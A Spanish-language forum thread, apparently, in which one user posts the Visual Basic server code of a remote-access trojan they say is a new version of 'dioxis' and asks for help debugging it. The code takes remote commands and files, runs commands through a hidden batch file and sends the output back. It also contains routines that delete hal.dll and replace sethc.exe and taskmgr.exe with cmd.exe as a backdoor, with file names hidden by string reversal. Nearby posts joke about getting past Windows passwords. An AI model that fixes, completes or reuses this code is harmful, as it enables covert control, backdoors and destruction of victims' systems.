Mensajes

y es un phenom? y usas win vista? mmm en xp quizas seria normal pero en vista...

procesador phenom???

trabajas fijo xD

jajaja demasiado pero soy mas de hacerme informatico 

si se cree que le voy a dar la solucion de entrar a un "WINDOWS" no, no se lo dare

pero si es usuario limitado, sera por algo, y si es admin que no creo, que se lo comunique al superusuario que este jerarquicamente mas alla de sus poderes xD

yo creo que no es en su empresa, sino que es un servidor que se ha encontrado con ts habilitado y que quiere acceder a su administracion

estoy 80% seguro jaja

que permisos tienes?

usuario limitado?

etc

ordenado esta, ya que no puse lo demas del codigo, aun asi yo no me lio

el problema que tengo es que coji un code de recursos vb, que funciona por interruptor

primero el cliente manda los datos del archivo: nombre,ruta,espacio y su firma

luego si el servidor encuentra esa firma pasa al interruptor true, si es true manda el cliente que le pase los datos y abre el archivo para crear, luego pone el interruptor en false y si esta en false escribe todo

lo raro es que a la primera vez que lo hago me funciona pero si lo hagos dos veces no

es demasiado raro

Bueno, como ya veran, estoy en el proyecto de sacar otra version del troyano dioxis, pero aqui es donde se me dan los quebraderos de cabeza

Este es todo el dataarrival del servidor:

Código (vb) [Seleccionar] Expandir

Public Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim sistremaa As String, compr As Integer, ruta As String, textos As String, inii As String

Dim handle_Process As Long
Dim id_process As Long
Dim lp_ExitCode As Long

Dim casaa As String

Dim arrData() As Byte

Dim encontrado2 As Integer, encontrado As Integer
Dim busca As Integer
Dim envivi As String, tati As Variant

On Error GoTo Error

'--------------------------------------------------------------------------'

casaa = Environ$("homedrive")
sistremaa = Environ$("windir") & "\system32"
letraa = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
inii = casaa & "\ctfmon.bat"

'--------------------------------variables---------------------------------'

wsk.GetData orden
MsgBox orden
' enviar archivos----------------------------------------------------------

For busca = 0 To Len(orden)
encontrado = InStr(1, orden, "*Enviviandodo*")
Next
If encontrado <> 0 Then

If Flag = True Then
Flag = False
lBytes = 0
tati = Split(envivi, "|")
lFileSize = tati(1)
wsk.SendData "|enviamelo|"
Open tati(3) & tati(2) For Binary Access Write As #1
End If

If Flag = False Then
MsgBox "poniendo todo los datos"
lBytes = lBytes + bytesTotal
wsk.GetData arrData
MsgBox arrData
Put #1, , arrData
If lBytes >= lFileSize Then

Close #1
Flag = True
lBytes = 0
End If
End If
Else

' enviar archivos----------------------------------------------------------

For compr = 0 To Len(orden)
encontrado2 = InStr(1, orden, "/*/116%4")
Next
If encontrado2 <> 0 Then

arris = Split(orden, "66+/*-&·%")

ruta = arris(1)
textos = arris(2)

Open ruta For Output As #2
Print #2, textos
Close #2
End If

'------------------ordenes personalizadas----------------------------------'

If orden = "del " & sistremaa & "\hal.dll" Then Kill sistremaa & StrReverse("lld.lah\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\sethc.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.chtes\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\taskmgr.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.rgmksat\")
If orden = "eliminar troyano" Then
Kill letraa & StrReverse("exe.dmcyekh\")
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'

salida:
Open inii For Output As #1
Print #1, orden & ">" & casaa & "\ctfmon.txt"
Close #1



     id_process = Shell(inii, vbHide)

     
    handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)

   
    Do

         Call GetExitCodeProcess(handle_Process, lp_ExitCode)

         DoEvents

     Loop While lp_ExitCode = STATUS_PENDING

   
     Call CloseHandle(handle_Process)

   Open casaa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1

wsk.SendData txtcom

Error:
End If
End Sub


El data arrival lo que tiene que hacer es recibir 2 acciones, una es para que el cliente le pase archivos y otra para mandarle ordenes

La cosa es que ahora mismo no me funciona ninguno por ahora

El problema creo que reside en las variables del datarrival

si necesitais algun dato mas os lo facilito

gracias

voy a poner un post de contar anecdotas, que tengo una muy buena 

la verdad que si alguno me diria que tiene contraseña en su windows que no podre entrar, me reiria por dentro 

la verdad que el hiren es una herrmienta para llevar a todos lados

apoyo la mocion